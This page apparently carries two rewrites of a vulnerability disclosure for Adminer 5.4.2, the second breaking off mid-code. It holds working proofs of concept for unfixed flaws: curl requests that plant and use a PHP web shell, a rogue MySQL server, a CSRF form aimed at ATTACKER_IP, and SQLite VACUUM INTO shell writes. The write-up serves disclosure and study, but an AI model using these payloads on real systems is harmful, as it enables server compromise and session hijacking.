Skip to content
RCE Write-up Advanced

Three 0-Day Vulnerabilities in Adminer

Three flaws were found in Adminer 5.4.2: a pre-auth remote code execution through MSSQL DSN injection, a stored cross-site scripting issue via a rogue MySQL server that bypasses the content security policy, and an authenticated SQLite remote code execution that evades the ATTACH blocklist. An attacker could write a PHP shell to the web root or run script in a victim's Adminer session.

Yashar Shahinzadeh Follow

Published on blog.voorivex.team

Adminer is a single PHP file that you drop into your web root and get a full database admin panel out of it. That makes it convenient.

Yashar Shahinzadeh, Amirmohammad Safari, on blog.voorivex.team

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

Adminer is a single PHP file that you drop into your web root and get a full database admin panel out of it. That makes it convenient. It also makes it one of the most exposed admin panels on the internet, because anybody who deployed it once and forgot about it left a login page sitting on production, indexed by Google and pickable by a scanner.

We have been here before. Years ago Yashar found a way to abuse a publicly reachable Adminer on a private bug bounty program to read arbitrary files from the host, and wrote it up. He never reported the underlying issue to Adminer; he just used it once on the program that paid for it and moved on. The class itself got a CVE of its own a few years later, CVE-2021-43008, after somebody else rediscovered it and reported it properly. That bug is long gone now, but it left a habit: every couple of years one of us opens the latest Adminer and reads it. This year was that year.

Amir and I decided to take a look at Adminer for fun, and of course to make some money as we've done before. We pulled the current single-file build, adminer-5.4.2.php, and read it from top to bottom over a couple of sessions. By the end of the pass we had three 0-days: a pre-auth remote code execution against any Adminer connected to an MSSQL/Azure SQL backend, a stored XSS that bypasses Adminer's CSP through a rogue MySQL server, and an authenticated remote code execution against SQLite that walks around the existing blocklist. We reported the full set to the maintainer via GitHub on 6 April 2026 and followed up on 13 April. As of this writing, over two months later, there has still been no acknowledgement. If there had been any, we would not be publishing today.

The customers who keep Adminer reachable on production deserve to know what is sitting on their hosts. This post is the closest thing to a public advisory the bugs will get until the vendor moves.

Context

Adminer is a compact PHP application that connects to and manages a handful of database drivers behind one login form. The whole thing is a few hundred KB of PHP.

Setup

The compact build we tested is the official adminer-5.4.2.php from adminer.org, the latest stable at the time we audited it. For the audit itself we read the split source from the GitHub repo at tag v5.4.2, because that tree has the original file paths and line numbers we wanted to cite. The repo also carries plugins, the Editor variant, and other assets that are not part of the default compact build; we ignored those and read what actually ships in the single-file binary.

Each bug has its own preconditions, which I cover where they apply.

Finding it

  1. The MSSQL driver concatenates a user-controlled host into an ODBC DSN string with no escaping.
  2. The dashboard echoes the database server's version string into a <script> tag after a preg_replace that returns the input unchanged when it does not match.
  3. The SQLite blocklist only matches queries that start with ATTACH, and SQLite has another way to write a file.

Exploitation

Bug 1: Pre-Auth RCE via MSSQL DSN Injection

The first bug is the most interesting one. It is a pre-auth remote code execution that fires on any Adminer running on top of pdo_sqlsrv, which is the standard PHP extension for connecting to Microsoft SQL Server and Azure SQL. The vulnerable line lives in the MSSQL driver, adminer/drivers/mssql.inc.php at line 185:

PHP
if (extension_loaded("pdo_sqlsrv")) {
    class Db extends MssqlDb {
        public $extension = "PDO_SQLSRV";

        function attach(string $server, string $username, string $password): string {
            list($host, $port) = host_port($server);
            return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
        }
    }
}

The driver builds an ODBC DSN string by concatenating the user-controlled $host value into a template, then hands the result to PDO. There is no escaping anywhere on this path. host_port() (in include/functions.inc.php:851) is a thin regex that splits an IPv6 bracket form like [::1]:1433 into host and port; if the input does not match that pattern it returns the original string unchanged, which is the common case. So whatever we type into the login form's server field lands directly inside the DSN.

ODBC treats semicolons as DSN parameter delimiters. That means a semicolon in the server name lets us append arbitrary ODBC options to the connection string. The two options worth knowing about here are TraceFile and TraceOn. When these are present the ODBC driver writes a trace of the attempted connection to a file we name, before the connection itself succeeds, and the trace contains the literal connection string including the UID={...} field. The username we submit in the login form goes directly into that UID={...} field, raw. So if we put PHP code in the username, the ODBC driver politely writes that PHP code to a file of our choosing.

The end-to-end primitive looks like this:

Bash
curl "http://target.tld/adminer.php" -L -c - \
  -d "auth[driver]=mssql" \
  -d "auth[server]=[redacted];TraceFile=shell.php;TraceOn=1" \
  --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
  -d "auth[password]=x"

The DSN that Adminer ends up handing to PDO is sqlsrv:Server=[redacted];TraceFile=shell.php;TraceOn=1. The ODBC driver opens the trace file, writes the connection metadata into it (including our <?php payload as part of UID={...}), then tries to connect to [redacted] and fails. The failure does not matter. The file has already been written next to adminer.php in the web root. One request later we have a shell:

Bash
curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Pre-auth. No valid SQL Server needed. No credentials. The login attempt fails by design.

The preconditions are narrow but realistic. The target needs pdo_sqlsrv loaded and the Microsoft ODBC Driver for SQL Server installed, which is exactly the configuration you get on a server that talks to Azure SQL Database or a Microsoft SQL Server backend. The web root also needs to be writable by the PHP worker, which is the default on a lot of containerized PHP setups. The same shape exists in the sibling pdo_dblib branch at line 195 of the same file, where the DSN template is dblib:charset=utf8;host=$host; we did not chase a gadget on that one because we did not have a reachable dblib install to confirm against, but the code is identical and we suspect it is equivalent.

Bug 2: Stored XSS via Rogue MySQL Server (CSP Nonce Bypass)

The second bug is more fun than dangerous, but it is technically a stored XSS that bypasses Adminer's CSP in a fully supported way. It needs an attacker-controlled MySQL server, which sounds like a heavy precondition until you remember that the login form has no CSRF token, and Adminer is happy to call out to any MySQL host you give it.

The sink is in adminer/include/adminer.inc.php at line 1081:

PHP
echo script("syntaxHighlighting('" . preg_replace('~^(\d\.?\d).*~s', '\1', connection()->server_info) . "', '" . connection()->flavor . "');");

connection()->server_info is whatever string the database server returned in its handshake. For MySQL that is the version string sitting in the initial Greeting packet, completely controlled by whoever runs the server we are talking to. Adminer assumes it will always look like 5.7.38 or 10.11.5-MariaDB, so it runs a preg_replace with the anchored pattern ~^(\d\.?\d).*~s to extract the first two digits.

The interesting property of preg_replace is that when the pattern fails to match, it returns the original input unchanged. The pattern here only matches input that starts with a digit followed optionally by a dot and another digit. Send a version string that does not start with a digit and the regex falls through; the raw string is concatenated into the JavaScript, inside a <script> tag that script() (in include/html.inc.php:5) wraps with a valid CSP nonce:

PHP
function script(string $source, string $trailing = "\n"): string {
    return "<script" . nonce() . ">$source</script>$trailing";
}

So we win twice. The injection is reflected into a script context, and the script tag carries the legitimate per-request nonce, which means the browser's strict CSP does not block it. The payload runs.

The minimum rogue MySQL server you need is about 80 lines of Python that speaks just enough of the MySQL protocol to send a Greeting packet with a custom version string and accept any login. We had this:

Python
import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

CAP_PROTOCOL_41       = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH       = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string  <-- attacker controlled
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10
    pkt += b"\x41" * 12 + b"\x00"
    pkt += b"mysql_native_password\x00"
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00\x00\x00"
    pkt += struct.pack("<H", 0x0002)
    pkt += struct.pack("<H", 0)
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try: conn.recv(4096)
    except: conn.close(); return
    conn.sendall(make_ok(2))
    while True:
        try:
            data = conn.recv(4096)
            if not data: break
            conn.sendall(make_err(data[3] + 1))
        except: break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("[redacted]", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version:", PAYLOAD)
while True:
    conn, _ = srv.accept()
    threading.Thread(target=handle, args=(conn,)).start()

Point the victim Adminer at this server, log in as anyone, and the dashboard renders with:

HTML
<script nonce="REAL_NONCE_VALUE">syntaxHighlighting('1');alert(origin)//', 'mysql');</script>

alert(origin) runs. Because the login form has no CSRF token, the precondition can be satisfied from a remote attacker page without any user action beyond visiting the page:

HTML
<form id="f" method="POST" action="http://target.tld/adminer.php">
  <input name="auth[driver]" value="server">
  <input name="auth[server]" value="ATTACKER_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

The victim visits the page. Their browser POSTs the login. Adminer connects out to the attacker's MySQL server, receives the malicious version string, renders the dashboard, and runs the payload in the origin of the victim's Adminer.

Bug 3: Authenticated RCE via SQLite VACUUM INTO

The last one is small and slightly funny. Adminer's authors clearly thought about the obvious SQLite-to-RCE path, because they put it on a blocklist. They just forgot that SQLite has more than one way to write a file. The relevant code is in adminer/sql.inc.php at line 121:

PHP
if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // PHP doesn't support setting SQLITE_LIMIT_ATTACHED
    echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";
}

The blocklist matches any query that starts with ATTACH. The historical reason this exists is that ATTACH DATABASE 'shell.php' is the textbook SQLite-to-PHP-shell primitive: SQLite creates the database file with the given name and extension, and if the file contains arbitrary attacker-supplied bytes (for example as a table name), PHP will happily parse the bytes between <?php ... ?> and execute them.

What the blocklist does not cover is VACUUM INTO, available since SQLite 3.27.0. VACUUM INTO 'path.php' does almost exactly the same thing as ATTACH: it writes the current database to a new file at an arbitrary path with an arbitrary extension. The blocklist regex starts with ATTACH\b, so a query starting with VACUUM walks straight through.

The full chain, after logging into the SQLite driver:

SQL
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The first statement creates a table whose name is the PHP payload. SQLite stores table names as literal UTF-8 bytes inside the database file. VACUUM INTO then writes the whole database to /var/www/html/shell.php. PHP's parser scans the resulting file, hits the <?php marker somewhere in the middle of the SQLite binary content, and runs everything between it and the closing ?>. We have a shell:

Bash
curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

This one is post-auth, so it is meaningfully less severe than Bug 1, but SQLite-backed Adminer instances are often left with default or empty credentials, and an attacker who has compromised any low-privilege account on the database has the same primitive.

Root cause

  • Bug 1. The MSSQL driver concatenates the user-supplied host into an ODBC DSN without escaping. ODBC treats ; as a parameter delimiter, so the host field can append TraceFile and TraceOn. The username is then written raw into the trace file's UID={...} field, which turns the trace into a PHP file. host_port() does not help because it returns the input unchanged when it does not match the IPv6 bracket form.
  • Bug 2. The dashboard echoes connection()->server_info into a <script> tag. The preg_replace with ~^(\d\.?\d).*~s is meant to extract a version prefix, but when the pattern does not match it returns the input unchanged, so a version string that does not start with a digit is concatenated raw. The script() helper wraps the result in a tag carrying the legitimate per-request CSP nonce, so the CSP does not block the injected code.
  • Bug 3. The SQLite blocklist only matches queries that start with ATTACH. VACUUM INTO writes the current database to an arbitrary path with an arbitrary extension, and the blocklist does not cover it.

Impact

  • Bug 1 is pre-auth remote code execution on any Adminer running on top of pdo_sqlsrv with the Microsoft ODBC Driver for SQL Server installed and a writable web root. No valid SQL Server and no credentials are needed; the login attempt fails by design. The same shape exists in the pdo_dblib branch, which we did not confirm against a reachable install.
  • Bug 2 is a stored XSS that bypasses Adminer's CSP. It needs an attacker-controlled MySQL server and a victim who visits an attacker page; the login form has no CSRF token, so the victim's browser POSTs the login without any further action. The payload runs in the origin of the victim's Adminer.
  • Bug 3 is authenticated remote code execution against SQLite. It is post-auth, so it is meaningfully less severe than Bug 1, but SQLite-backed Adminer instances are often left with default or empty credentials, and an attacker who has compromised any low-privilege account on the database has the same primitive.

Since there is no patch out yet, any reachable Adminer panel is at least exploitable for the XSS, because Bug 2 has no host-side preconditions; depending on the database driver underneath, the same panel can chain further into RCE.

Fix

There is no patch to describe.

Variants to test

  • The pdo_dblib branch at line 195 of adminer/drivers/mssql.inc.php uses dblib:charset=utf8;host=$host; we did not confirm a gadget there because we had no reachable dblib install.
  • Panel discovery. The official Nuclei template for detecting Adminer panels missed enough live instances that we wrote our own. Ours enumerates the common deployment filenames Adminer ships with plus a few aliases people use, and confirms the panel via the page title and a footer string:
YAML
id: adminer-panel

info:
  name: Adminer Login Panel - Detect
  author: yshahinzadeh,amirmsafari
  severity: info
  description: An Adminer login panel was detected.
  tags: panel,adminer,discovery

http:
  - method: GET
    path:
      - '{{BaseURL}}/adminer-5.0.0.php'
      - '{{BaseURL}}/adminer-5.0.1.php'
      - '{{BaseURL}}/adminer-5.0.2.php'
      - '{{BaseURL}}/adminer-5.0.3.php'
      - '{{BaseURL}}/adminer-5.0.4.php'
      - '{{BaseURL}}/adminer-5.0.5.php'
      - '{{BaseURL}}/adminer-5.0.6.php'
      - '{{BaseURL}}/adminer-5.1.0.php'
      - '{{BaseURL}}/adminer-5.1.1.php'
      - '{{BaseURL}}/adminer-5.2.0.php'
      - '{{BaseURL}}/adminer-5.2.1.php'
      - '{{BaseURL}}/adminer-5.3.0.php'
      - '{{BaseURL}}/adminer-5.4.0.php'
      - '{{BaseURL}}/adminer-5.4.1.php'
      - '{{BaseURL}}/adminer-5.4.2.php'
      - '{{BaseURL}}/adminer-5.0.0-en.php'
      - '{{BaseURL}}/adminer-5.0.1-en.php'
      - '{{BaseURL}}/adminer-5.0.2-en.php'
      - '{{BaseURL}}/adminer-5.0.3-en.php'
      - '{{BaseURL}}/adminer-5.0.4-en.php'
      - '{{BaseURL}}/adminer-5.0.5-en.php'
      - '{{BaseURL}}/adminer-5.0.6-en.php'
      - '{{BaseURL}}/adminer-5.1.0-en.php'
      - '{{BaseURL}}/adminer-5.1.1-en.php'
      - '{{BaseURL}}/adminer-5.2.0-en.php'
      - '{{BaseURL}}/adminer-5.2.1-en.php'
      - '{{BaseURL}}/adminer-5.3.0-en.php'
      - '{{BaseURL}}/adminer-5.4.0-en.php'
      - '{{BaseURL}}/adminer-5.4.1-en.php'
      - '{{BaseURL}}/adminer-5.4.2-en.php'
      - '{{BaseURL}}/adminer-5.0.0-mysql.php'
      - '{{BaseURL}}/adminer-5.0.1-mysql.php'
      - '{{BaseURL}}/adminer-5.0.2-mysql.php'
      - '{{BaseURL}}/adminer-5.0.3-mysql.php'
      - '{{BaseURL}}/adminer-5.0.4-mysql.php'
      - '{{BaseURL}}/adminer-5.0.5-mysql.php'
      - '{{BaseURL}}/adminer-5.0.6-mysql.php'
      - '{{BaseURL}}/adminer-5.1.0-mysql.php'
      - '{{BaseURL}}/adminer-5.1.1-mysql.php'
      - '{{BaseURL}}/adminer-5.2.0-mysql.php'
      - '{{BaseURL}}/adminer-5.2.1-mysql.php'
      - '{{BaseURL}}/adminer-5.3.0-mysql.php'
      - '{{BaseURL}}/adminer-5.4.0-mysql.php'
      - '{{BaseURL}}/adminer-5.4.1-mysql.php'
      - '{{BaseURL}}/adminer-5.4.2-mysql.php'
      - '{{BaseURL}}/adminer-5.0.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.2-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.3-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.4-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.5-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.6-mysql-en.php'
      - '{{BaseURL}}/adminer-5.1.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.1.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.2.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.2.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.3.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.2-mysql-en.php'
      - '{{BaseURL}}/adminer.php'
      - '{{BaseURL}}/_adminer.php'
      - '{{BaseURL}}/sql.php'
      - '{{BaseURL}}/mysql.php'
      - '{{BaseURL}}/editor.php'
      - '{{BaseURL}}' # Adminer Docker Image Launch it on root

    headers:
      Accept-Language: en-US,en;q=0.5
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Adminer</title>"
          - "Adminer</a>"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '<span class="version">([0-9.]+)'

That is all from us. We hope you enjoyed the read, and we hope it is clear why we chose to go public rather than keep waiting on a reply that may never come.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 30 min read.

What happened, in plain words

Adminer is a small program that lets you manage a database from a web page. A database is an organised store of information, like a very large, very strict spreadsheet: a shop's orders, a forum's posts, a company's customer records. Adminer is written in a language called PHP, which runs on web servers, and the whole thing is a single file. You copy that one file into the folder your website serves from (the "web root") and open it in a browser, and you get a login form. Type in the address of your database, a username and a password, and you are looking at your tables, able to read, edit and delete rows.

That convenience has a cost. Because it is one file with an obvious name, people install it to do a job, finish the job, and forget it is there. The login page stays on a live server, search engines find it, and automated scanners find it too. It is one of the most exposed admin panels on the internet.

This is not the first time the authors of this write-up have looked at it. Years ago one of them, Yashar, found a way to abuse a publicly reachable Adminer on a private bug bounty program to read arbitrary files from the server, and wrote it up. A bug bounty program is a scheme where a company pays researchers for finding security problems in its systems. He never told the Adminer project about the underlying flaw; he used it once on the program that paid and moved on. A few years later somebody else found the same class of problem, reported it properly, and it got its own identifier, CVE-2021-43008. A CVE is a public catalogue number for a known vulnerability, so people can talk about it unambiguously. That bug is long fixed, but it left a habit: every couple of years one of the authors opens the latest Adminer and reads it. This year was that year.

Amir and the author decided to look at Adminer for fun, and to make some money as they had before. They downloaded the current single-file build, adminer-5.4.2.php, and read it from top to bottom over a couple of sessions. Reading the source code of a program, rather than poking at it from outside, is called a whitebox audit. By the end they had three 0-days. A 0-day is a security flaw the people who make the software do not know about yet, so there is no fix available. The three were:

  1. A pre-auth remote code execution against any Adminer connected to an MSSQL or Azure SQL backend. "Pre-auth" means it works before you log in, with no valid account. "Remote code execution" (RCE) means an attacker can make the server run their own commands, which is about as bad as it gets.
  2. A stored XSS that bypasses Adminer's CSP through a rogue MySQL server. XSS, cross-site scripting, means getting your own JavaScript to run inside somebody else's web page. "Stored" means the malicious content is saved somewhere and served back later. CSP, content security policy, is a browser rule that is supposed to stop exactly that.
  3. An authenticated remote code execution against SQLite that walks around the existing blocklist. "Authenticated" means you need to be logged in first. A blocklist is a list of forbidden things, here forbidden database commands.

They reported the full set to the maintainer through GitHub, the code hosting site, on 6 April 2026, and followed up on 13 April. At the time of writing, more than two months later, there had been no acknowledgement at all. If there had been any, they would not be publishing. The people who keep Adminer reachable on production servers deserve to know what is sitting on their machines. This post is the closest thing to a public advisory the bugs will get until the vendor moves. An advisory is the formal notice a software maker publishes when it fixes a security problem.

Context

Adminer is a compact PHP application. It connects to and manages a handful of database drivers behind one login form. A driver is the piece of code that knows how to speak to one particular kind of database; Adminer supports several, such as MySQL, Microsoft SQL Server (MSSQL), SQLite and others. The whole thing is a few hundred KB of PHP.

SQL is the language you use to talk to a database: SELECT to read, CREATE TABLE to make a table, and so on.

A DSN, data source name, is the short text string a program builds to tell a database driver where to connect and how. Think of it as a postal address written on one line, with semicolons separating the parts: street; city; postcode. If you can slip extra parts into that line, you can change where the letter goes and what instructions come with it.

Setup

The compact build they tested is the official adminer-5.4.2.php from adminer.org, the latest stable at the time they audited it. For the audit itself they read the split source from the GitHub repo at tag v5.4.2, because that tree has the original file paths and line numbers they wanted to cite. A tag is a label on a particular version of the code in a repository, so you can point at exactly what you read. The repo also carries plugins, the Editor variant and other assets that are not part of the default compact build; they ignored those and read what actually ships in the single-file binary. A plugin is an optional add-on; a binary here just means the finished file you download.

Each bug has its own preconditions, covered where they apply. A precondition is something that must already be true on the target for the attack to work.

Finding it

  1. The MSSQL driver concatenates a user-controlled host into an ODBC DSN string with no escaping. Concatenate means glueing text together; escaping means marking special characters so they are treated as plain text rather than as instructions.
  2. The dashboard echoes the database server's version string into a <script> tag after a preg_replace that returns the input unchanged when it does not match. To echo means to print something into the page. preg_replace is a PHP function that searches text for a pattern and swaps it for something else.
  3. The SQLite blocklist only matches queries that start with ATTACH, and SQLite has another way to write a file.

Exploitation

Bug 1: Pre-Auth RCE via MSSQL DSN Injection

The first bug is the most interesting one. It is a pre-auth remote code execution that fires on any Adminer running on top of pdo_sqlsrv, which is the standard PHP extension for connecting to Microsoft SQL Server and Azure SQL. An extension is an optional bundle of code that adds a capability to PHP; pdo_sqlsrv adds the ability to talk to Microsoft's databases. Azure SQL is Microsoft's cloud version of the same database.

The vulnerable line lives in the MSSQL driver, adminer/drivers/mssql.inc.php at line 185:

PHP
if (extension_loaded("pdo_sqlsrv")) {
    class Db extends MssqlDb {
        public $extension = "PDO_SQLSRV";

        function attach(string $server, string $username, string $password): string {
            list($host, $port) = host_port($server);
            return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
        }
    }
}

Line by line:

  • if (extension_loaded("pdo_sqlsrv")) { asks whether the Microsoft database extension is available. If it is, the block inside runs.
  • class Db extends MssqlDb { defines the database class Adminer will use, based on the general MSSQL one.
  • public $extension = "PDO_SQLSRV"; records which extension is in play.
  • function attach(string $server, string $username, string $password): string { is the function that builds the connection string. It receives the server, username and password that came from the login form.
  • list($host, $port) = host_port($server); splits the server field into a host and a port. A port is the numbered door on a machine that a service listens on; the default for SQL Server is 1433.
  • return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password); glues the host straight into the text sqlsrv:Server= and adds the port if there is one. This is the dangerous line: $host is whatever the person at the login form typed, and nothing checks it.

The driver builds an ODBC DSN string by concatenating the user-controlled $host value into a template, then hands the result to PDO. ODBC is a standard way for programs to talk to databases; PDO is PHP's generic database layer. There is no escaping anywhere on this path. host_port() (in include/functions.inc.php:851) is a thin regex that splits an IPv6 bracket form like [::1]:1433 into host and port; if the input does not match that pattern it returns the original string unchanged, which is the common case. A regex is a pattern for matching text. IPv6 is the newer form of network address, written with colons and often wrapped in square brackets. So whatever you type into the login form's server field lands directly inside the DSN.

ODBC treats semicolons as DSN parameter delimiters. That means a semicolon in the server name lets you append arbitrary ODBC options to the connection string. The two options worth knowing about here are TraceFile and TraceOn. A trace is a debugging log of what a program tried to do. When these are present the ODBC driver writes a trace of the attempted connection to a file you name, before the connection itself succeeds, and the trace contains the literal connection string including the UID={...} field. UID is the username part of the connection string. The username submitted in the login form goes directly into that UID={...} field, raw. So if you put PHP code in the username, the ODBC driver politely writes that PHP code to a file of your choosing.

The end-to-end primitive looks like this. A primitive in security means a small, reliable building block you can reuse. curl is a command-line tool for sending web requests, useful here because it shows exactly what is being sent.

Bash
curl "http://target.tld/adminer.php" -L -c - \
  -d "auth[driver]=mssql" \
  -d "auth[server]=[redacted];TraceFile=shell.php;TraceOn=1" \
  --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
  -d "auth[password]=x"

Line by line:

  • curl "http://target.tld/adminer.php" -L -c - \ sends a request to the Adminer page. -L means follow redirects, because a login usually redirects you afterwards. -c - means keep any cookies the server sets and print them at the end; a cookie is a small piece of data a site asks your browser to store and send back on the next request, which is how a site remembers you are logged in. The backslash at the end just continues the command on the next line.
  • -d "auth[driver]=mssql" \ sends a form field saying which database driver to use. The square brackets are how PHP names nested form fields: this arrives as auth with a driver key inside it.
  • -d "auth[server]=[redacted];TraceFile=shell.php;TraceOn=1" \ is the heart of the attack. The server field is set to a local address, then a semicolon, then two extra ODBC options: write a trace to shell.php, and turn tracing on. Because the driver glues this into the DSN without escaping, the semicolons become real DSN parameters.
  • --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \ sends the username, URL-encoded so the special characters survive the trip. The username is a tiny PHP program: system($_GET['c']) runs whatever command is passed in the c part of the URL. $_GET is how PHP reads values from the address bar.
  • -d "auth[password]=x" sends a throwaway password. It does not need to be correct.

The DSN that Adminer ends up handing to PDO is sqlsrv:Server=[redacted];TraceFile=shell.php;TraceOn=1. The ODBC driver opens the trace file, writes the connection metadata into it (including the <?php payload as part of UID={...}), then tries to connect to [redacted] and fails. The failure does not matter. The file has already been written next to adminer.php in the web root. One request later there is a shell. A shell here means a way to run commands on the server through the web page.

Bash
curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Line by line:

  • curl "http://target.tld/shell.php?c=id" asks the newly written file to run the command id, which reports which user the web server runs as. The ?c=id part is the value the payload reads from $_GET['c'].
  • The comment line shows the answer: the server is running as a user called www-data, the usual low-privilege account web servers use. That confirms code is running.

Pre-auth. No valid SQL Server needed. No credentials. The login attempt fails by design.

The preconditions are narrow but realistic. The target needs pdo_sqlsrv loaded and the Microsoft ODBC Driver for SQL Server installed, which is exactly the configuration you get on a server that talks to Azure SQL Database or a Microsoft SQL Server backend. The web root also needs to be writable by the PHP worker, which is the default on a lot of containerised PHP setups. A container is a packaged, isolated runtime for an application; many are built so the application can write files in its own folder. The same shape exists in the sibling pdo_dblib branch at line 195 of the same file, where the DSN template is dblib:charset=utf8;host=$host; they did not chase a gadget on that one because they did not have a reachable dblib install to confirm against, but the code is identical and they suspect it is equivalent. A gadget, in this context, is a piece of existing code you can bend to your purpose.

Bug 2: Stored XSS via Rogue MySQL Server (CSP Nonce Bypass)

The second bug is more fun than dangerous, but it is technically a stored XSS that bypasses Adminer's CSP in a fully supported way. It needs an attacker-controlled MySQL server, which sounds like a heavy precondition until you remember that the login form has no CSRF token, and Adminer is happy to call out to any MySQL host you give it. MySQL is one of the most popular open-source databases. A CSRF token is a random value a form carries so the server can tell a genuine submission from one forged by another website; without one, any page can submit the form on the visitor's behalf.

The sink is in adminer/include/adminer.inc.php at line 1081. A sink is the place where untrusted data finally gets used in a dangerous way.

PHP
echo script("syntaxHighlighting('" . preg_replace('~^(\d\.?\d).*~s', '\1', connection()->server_info) . "', '" . connection()->flavor . "');");

Line by line:

  • echo script(...) prints a <script> tag into the page. script() is a helper that wraps whatever you give it in a script tag.
  • "syntaxHighlighting('" starts a piece of JavaScript that calls a function to colour-code SQL. JavaScript is the language browsers run to make pages interactive.
  • preg_replace('~^(\d\.?\d).*~s', '\1', connection()->server_info) takes the database server's version string and tries to keep only the first two digits. The pattern ~^(\d\.?\d).*~s means: from the start (^), one digit (\d), optionally a dot (\.?), another digit, then anything (.*). The \1 is the replacement: keep the part in the first bracket. connection()->server_info is the version text the database reported.
  • "', '" . connection()->flavor . "');" closes the string and adds the database flavour (for example mysql) and the closing bracket and semicolon.

connection()->server_info is whatever string the database server returned in its handshake. A handshake is the opening exchange when two programs connect and introduce themselves. For MySQL that is the version string sitting in the initial Greeting packet, completely controlled by whoever runs the server being talked to. A packet is one chunk of data sent over the network. Adminer assumes it will always look like 5.7.38 or 10.11.5-MariaDB, so it runs a preg_replace with the anchored pattern ~^(\d\.?\d).*~s to extract the first two digits.

The interesting property of preg_replace is that when the pattern fails to match, it returns the original input unchanged. The pattern here only matches input that starts with a digit followed optionally by a dot and another digit. Send a version string that does not start with a digit and the regex falls through; the raw string is concatenated into the JavaScript, inside a <script> tag that script() (in include/html.inc.php:5) wraps with a valid CSP nonce:

PHP
function script(string $source, string $trailing = "\n"): string {
    return "<script" . nonce() . ">$source</script>$trailing";
}

Line by line:

  • function script(string $source, string $trailing = "\n"): string { defines the helper. It takes the script contents and an optional trailing newline.
  • return "<script" . nonce() . ">$source</script>$trailing"; builds the tag. nonce() produces the random value the page's CSP expects. A nonce is a one-time random number; the CSP rule says "only run script tags that carry this exact number". Because the helper adds the real nonce, the browser trusts the tag, even though the contents came from the database.

So the attack wins twice. The injection is reflected into a script context, and the script tag carries the legitimate per-request nonce, which means the browser's strict CSP does not block it. The payload runs.

The minimum rogue MySQL server you need is about 80 lines of Python that speaks just enough of the MySQL protocol to send a Greeting packet with a custom version string and accept any login. Python is a general-purpose programming language, handy for quick network tools. A protocol is the agreed format two programs use to talk. They had this:

Python
import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

CAP_PROTOCOL_41       = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH       = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string  <-- attacker controlled
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)
    pkt += b"\x15"                                   # auth data length (21)
